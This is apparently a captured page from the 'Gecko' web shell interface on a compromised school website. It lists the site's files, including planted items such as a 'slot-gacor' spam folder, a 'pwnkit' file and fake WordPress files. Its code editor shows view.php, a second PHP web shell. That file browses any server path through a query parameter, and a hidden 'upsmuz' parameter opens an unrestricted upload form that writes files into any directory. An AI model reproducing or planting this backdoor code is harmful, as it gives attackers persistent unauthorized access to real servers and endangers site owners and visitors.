Gecko [ sachasauda.akalacademy.ac.in ]

/ home / amvm / public_html / behakfattu / [ HOME SHELL ]

Name	Size	Permission	Action
.well-known	[ DIR ]	drwxr-xr-x
boking	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
files	[ DIR ]	drwxr-xr-x
fonts	[ DIR ]	drwxr-xr-x
htdocs	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
img	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
myadmin	[ DIR ]	drwxr-xr-x
rss	[ DIR ]	drwxr-xr-x
scss	[ DIR ]	drwxr-xr-x
slot-gacor	[ DIR ]	drwxr-xr-x
.htaccess	198 B	-r--r--r--
.mad-root	0 B	-rw-r--r--
about.php	13.47 KB	-rw-r--r--
academic.php	10.43 KB	-rwxr-xr-x
activity.php	2.87 KB	-rwxr-xr-x
addmission.php	1.76 KB	-rwxr-xr-x
affidavit.php	1.37 KB	-rwxr-xr-x
affiliation.php	1.38 KB	-rwxr-xr-x
annual-report.php	1.38 KB	-rwxr-xr-x
bootstrap.php	79.58 KB	-rw-r--r--
calender.php	1.39 KB	-rwxr-xr-x
cbse-coner.php	143.87 KB	-rw-r--r--
cbse-corner.php	3.49 KB	-rwxr-xr-x
config.php	628 B	-rwxr-xr-x
contact.php	1.83 KB	-rwxr-xr-x
error_log	854.76 MB	-rw-r--r--
favicon.ico	2.56 KB	-rwxr-xr-x
filedataB.php	12.05 KB	-rw-r--r--
footer.php	6.39 KB	-rwxr-xr-x
gallery.php	1.53 KB	-rwxr-xr-x
header.php	10.71 KB	-rwxr-xr-x
index.php	21.37 KB	-rw-r--r--
infrastructure.php	1.38 KB	-rwxr-xr-x
pwnkit	0 B	-rwxr-xr-x
sayurkoool.php	13.46 KB	-rw-r--r--
school-managing-commit.php	1.4 KB	-rwxr-xr-x
students-class-wise.php	1.39 KB	-rwxr-xr-x
tc-sample.php	1.37 KB	-rwxr-xr-x
tc.php	1.22 KB	-rwxr-xr-x
teacher-qualify.php	1.39 KB	-rwxr-xr-x
teacher-training.php	1.38 KB	-rwxr-xr-x
theschool.php	4.22 KB	-rwxr-xr-x
view.php	2.34 KB	-rw-r--r--
wp-blog-header.php	4.57 KB	-rw-r--r--
wp-cron.php	4.57 KB	-rw-r--r--

Code Editor : view.php

<?php
// Mendapatkan path dari query string atau menggunakan direktori saat ini
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();

// Menghindari path traversal attack
$path = realpath($path);
if ($path === false) {
    $path = getcwd();
}

// Mengatur direktori kerja saat ini
chdir($path);

// Mengubah backslashes menjadi forward slashes
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);

echo "<a class='text-decoration-none text-light anu' href='" . $_SERVER['PHP_SELF'] . "'><h1>Back to path Shell</h1></a>";

foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=/'>/</a>";
        continue;
    }
    if ($pat == '') continue;
    echo "<a class='text-decoration-none text-light' href='?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo htmlspecialchars($paths[$i]);
        if ($i != $id) echo "/";
    }
    echo "'>" . htmlspecialchars($pat) . "</a>/";
}

// Menampilkan form upload file jika parameter 'upsmuz' ada
if (isset($_GET['upsmuz'])) {
    echo "<h2>Upload File</h2>";
    echo "<form action='' method='post' enctype='multipart/form-data'>";
    echo "<input type='file' name='fileToUpload' id='fileToUpload'>";
    echo "<input type='submit' value='Upload File' name='submit'>";
    echo "</form>";

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['fileToUpload'])) {
        $target_file = $path . DIRECTORY_SEPARATOR . basename($_FILES['fileToUpload']['name']);
        if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
            echo "The file " . htmlspecialchars(basename($_FILES['fileToUpload']['name'])) . " has been uploaded.";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }
}

// Mendapatkan daftar file dan direktori
$scand = scandir($path);

echo "<ul>";
foreach ($scand as $file) {
    if ($file === '.' || $file === '..') continue;
    $filePath = $path . DIRECTORY_SEPARATOR . $file;
    if (is_dir($filePath)) {
        echo "<li><a class='text-decoration-none text-light' href='?path=" . urlencode($filePath) . "'>" . htmlspecialchars($file) . "/</a></li>";
    } else {
        echo "<li>" . htmlspecialchars($file) . "</li>";
    }
}
echo "</ul>";
?>